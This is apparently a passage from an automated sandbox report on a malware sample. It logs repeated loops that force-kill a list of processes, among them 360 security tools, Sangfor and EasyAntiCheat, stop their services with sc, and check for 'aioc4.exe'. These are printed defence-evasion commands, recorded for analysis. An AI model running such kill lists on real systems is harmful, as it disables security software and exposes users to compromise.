C:\Windows\system32\taskkill.exetaskkill /im "fpprotect.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "FZip.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "geek.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloDesktop64.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloSearch.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloTheme.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloTray.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "iOSDRServer.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "iOSSU.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "Jsbyptp.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "KGPMService.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "ktpb.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "kvipgui.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "kzyptp.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "kdeskcore.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "keyemain.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "kwallpaper.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "kwallpaperex.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "LDSGameHall.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "LockApp.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "lsmain.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "Margot.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "mctray.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "MelonTray.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "pbxhone.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "pdfServer.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "pdfspeedup.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "pdholder.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "QuickSeeTray.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "speedup.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "vip.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "vrol.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "WpTinyTray.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "WRSvn.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "WRtlname.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "WRUtest.exe" /f7⤵
-
C:\Windows\system32\sc.exesc stop "360bpsvc"7⤵
-
C:\Windows\system32\sc.exesc stop "convServer"7⤵
-
C:\Windows\system32\sc.exesc stop "EasiUpdate3"7⤵
-
C:\Windows\system32\sc.exesc stop "EasiUpdate3Protect"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "EasyAntiCheat"7⤵
-
C:\Windows\system32\sc.exesc stop "EpsonScanSvc"7⤵
-
C:\Windows\system32\sc.exesc stop "FastPDFSvc"7⤵
-
C:\Windows\system32\sc.exesc stop "iOSDRServer"7⤵
-
C:\Windows\system32\sc.exesc stop "KGPMSYS"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "kzipservice"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "masterPDF_Server"7⤵
-
C:\Windows\system32\sc.exesc stop "QuickSeeSvc"7⤵
-
C:\Windows\system32\sc.exesc stop "SangforSP"7⤵
-
C:\Windows\system32\sc.exesc stop "VRLService"7⤵
-
C:\Windows\system32\sc.exesc stop "WRSvnV1"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "wrzipservice"7⤵
- Launches sc.exe
-
C:\Windows\system32\choice.exeCHOICE /T 1 /D y /n7⤵
-
C:\Windows\system32\tasklist.exetasklist7⤵
- Enumerates processes with tasklist
-
C:\Windows\system32\find.exefind /i "aioc4.exe"7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "360bpsvc.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "360huabao.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "360wpsrv.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "ABCtpoprytx.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "AU_CN.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "bqpb.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "Cleaner One.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "ComputerZService.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "convHelper.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "convServer.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "convSpeedup.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "Dwight.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "EasiUpdate3.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "EasiUpdate3Protect.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "ECAgent.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "escsvc64.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "fastpic.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "FeiRarNews.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "fpprotect.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "FZip.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "geek.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloDesktop64.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloSearch.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloTheme.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloTray.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "iOSDRServer.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "iOSSU.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "Jsbyptp.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "KGPMService.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "ktpb.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "kvipgui.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "kzyptp.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "kdeskcore.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "keyemain.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "kwallpaper.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "kwallpaperex.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "LDSGameHall.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "LockApp.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "lsmain.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "Margot.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "mctray.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "MelonTray.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "pbxhone.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "pdfServer.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "pdfspeedup.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "pdholder.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "QuickSeeTray.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "speedup.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "vip.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "vrol.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "WpTinyTray.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "WRSvn.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "WRtlname.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "WRUtest.exe" /f7⤵
-
C:\Windows\system32\sc.exesc stop "360bpsvc"7⤵
-
C:\Windows\system32\sc.exesc stop "convServer"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "EasiUpdate3"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "EasiUpdate3Protect"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "EasyAntiCheat"7⤵
-
C:\Windows\system32\sc.exesc stop "EpsonScanSvc"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "FastPDFSvc"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "iOSDRServer"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "KGPMSYS"7⤵
-
C:\Windows\system32\sc.exesc stop "kzipservice"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "masterPDF_Server"7⤵
-
C:\Windows\system32\sc.exesc stop "QuickSeeSvc"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "SangforSP"7⤵
-
C:\Windows\system32\sc.exesc stop "VRLService"7⤵
-
C:\Windows\system32\sc.exesc stop "WRSvnV1"7⤵
-
C:\Windows\system32\sc.exesc stop "wrzipservice"7⤵
-
C:\Windows\system32\choice.exeCHOICE /T 1 /D y /n7⤵
-
C:\Windows\system32\find.exefind /i "aioc4.exe"7⤵
-
C:\Windows\system32\tasklist.exetasklist7⤵
- Enumerates processes with tasklist
-
C:\Windows\system32\taskkill.exetaskkill /im "360bpsvc.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "360huabao.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "360wpsrv.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "ABCtpoprytx.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "AU_CN.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "bqpb.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "Cleaner One.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "ComputerZService.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "convHelper.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "convServer.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "convSpeedup.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "Dwight.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "EasiUpdate3.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "EasiUpdate3Protect.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "ECAgent.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "escsvc64.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "fastpic.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "FeiRarNews.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "fpprotect.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "FZip.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "geek.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloDesktop64.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloSearch.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloTheme.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloTray.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "iOSDRServer.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "iOSSU.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "Jsbyptp.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "KGPMService.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "ktpb.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "kvipgui.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "kzyptp.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "kdeskcore.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "keyemain.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "kwallpaper.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "kwallpaperex.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "LDSGameHall.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "LockApp.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "lsmain.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "Margot.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "mctray.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "MelonTray.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "pbxhone.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "pdfServer.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "pdfspeedup.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "pdholder.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "QuickSeeTray.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "speedup.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "vip.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "vrol.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "WpTinyTray.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "WRSvn.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "WRtlname.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "WRUtest.exe" /f7⤵
-
C:\Windows\system32\sc.exesc stop "360bpsvc"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "convServer"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "EasiUpdate3"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "EasiUpdate3Protect"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "EasyAntiCheat"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "EpsonScanSvc"7⤵
-
C:\Windows\system32\sc.exesc stop "FastPDFSvc"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "iOSDRServer"7⤵
-
C:\Windows\system32\sc.exesc stop "KGPMSYS"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "kzipservice"7⤵
-
C:\Windows\system32\sc.exesc stop "masterPDF_Server"7⤵
-
C:\Windows\system32\sc.exesc stop "QuickSeeSvc"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "SangforSP"7⤵
-
C:\Windows\system32\sc.exesc stop "VRLService"7⤵
-
C:\Windows\system32\sc.exesc stop "WRSvnV1"7⤵
-
C:\Windows\system32\sc.exesc stop "wrzipservice"7⤵
- Launches sc.exe
-
C:\Windows\system32\choice.exeCHOICE /T 1 /D y /n7⤵
-
C:\Windows\system32\tasklist.exetasklist7⤵
- Enumerates processes with tasklist
-
C:\Windows\system32\find.exefind /i "aioc4.exe"7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "360bpsvc.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "360huabao.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "360wpsrv.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "ABCtpoprytx.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "AU_CN.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "bqpb.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "Cleaner One.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "ComputerZService.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "convHelper.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "convServer.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "convSpeedup.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "Dwight.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "EasiUpdate3.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "EasiUpdate3Protect.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "ECAgent.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "escsvc64.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "fastpic.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "FeiRarNews.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "fpprotect.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "FZip.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "geek.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloDesktop64.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloSearch.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloTheme.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloTray.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "iOSDRServer.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "iOSSU.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "Jsbyptp.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "KGPMService.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "ktpb.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "kvipgui.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "kzyptp.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "kdeskcore.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "keyemain.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "kwallpaper.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "kwallpaperex.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "LDSGameHall.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "LockApp.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "lsmain.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "Margot.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "mctray.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "MelonTray.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "pbxhone.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "pdfServer.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "pdfspeedup.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "pdholder.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "QuickSeeTray.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "speedup.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "vip.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "vrol.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "WpTinyTray.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "WRSvn.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "WRtlname.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "WRUtest.exe" /f7⤵
-
C:\Windows\system32\sc.exesc stop "360bpsvc"7⤵
-
C:\Windows\system32\sc.exesc stop "convServer"7⤵
-
C:\Windows\system32\sc.exesc stop "EasiUpdate3"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "EasiUpdate3Protect"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "EasyAntiCheat"7⤵
-
C:\Windows\system32\sc.exesc stop "EpsonScanSvc"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "FastPDFSvc"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "iOSDRServer"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "KGPMSYS"7⤵
-
C:\Windows\system32\sc.exesc stop "kzipservice"7⤵
-
C:\Windows\system32\sc.exesc stop "masterPDF_Server"7⤵
-
C:\Windows\system32\sc.exesc stop "QuickSeeSvc"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "SangforSP"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "VRLService"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "WRSvnV1"7⤵
-
C:\Windows\system32\sc.exesc stop "wrzipservice"7⤵
-
C:\Windows\system32\choice.exeCHOICE /T 1 /D y /n7⤵
-
C:\Windows\system32\tasklist.exetasklist7⤵
- Enumerates processes with tasklist
-
C:\Windows\system32\find.exefind /i "aioc4.exe"7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "360bpsvc.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "360huabao.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "360wpsrv.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "ABCtpoprytx.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "AU_CN.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "bqpb.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "Cleaner One.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "ComputerZService.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "convHelper.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "convServer.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "convSpeedup.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "Dwight.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "EasiUpdate3.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "EasiUpdate3Protect.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "ECAgent.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "escsvc64.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "fastpic.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "FeiRarNews.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "fpprotect.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "FZip.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "geek.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloDesktop64.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloSearch.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloTheme.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "HaloTray.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "iOSDRServer.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "iOSSU.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "Jsbyptp.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "KGPMService.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "ktpb.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "kvipgui.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "kzyptp.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "kdeskcore.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "keyemain.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "kwallpaper.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "kwallpaperex.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "LDSGameHall.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "LockApp.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "lsmain.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "Margot.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "mctray.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "MelonTray.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "pbxhone.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "pdfServer.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "pdfspeedup.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "pdholder.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "QuickSeeTray.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "speedup.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "vip.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "vrol.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "WpTinyTray.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "WRSvn.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "WRtlname.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "WRUtest.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\sc.exesc stop "360bpsvc"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "convServer"7⤵
-
C:\Windows\system32\sc.exesc stop "EasiUpdate3"7⤵
-
C:\Windows\system32\sc.exesc stop "EasiUpdate3Protect"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "EpsonScanSvc"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "EasyAntiCheat"7⤵
-
C:\Windows\system32\sc.exesc stop "FastPDFSvc"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "iOSDRServer"7⤵
-
C:\Windows\system32\sc.exesc stop "KGPMSYS"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "kzipservice"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "masterPDF_Server"7⤵
-
C:\Windows\system32\sc.exesc stop "QuickSeeSvc"7⤵
-
C:\Windows\system32\sc.exesc stop "SangforSP"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "VRLService"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "WRSvnV1"7⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exesc stop "wrzipservice"7⤵
-
C:\Windows\system32\choice.exeCHOICE /T 1 /D y /n7⤵
-
C:\Windows\system32\tasklist.exetasklist7⤵
- Enumerates processes with tasklist
-
C:\Windows\system32\find.exefind /i "aioc4.exe"7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "360bpsvc.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "360huabao.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "360wpsrv.exe" /f7⤵
-
C:\Windows\system32\taskkill.exetaskkill /im "ABCtpoprytx.exe" /f7⤵
- Kills process with taskkill
-
C:\Windows\system32\taskkill.exetaskkill /im "AU_CN.exe" /f7⤵
-
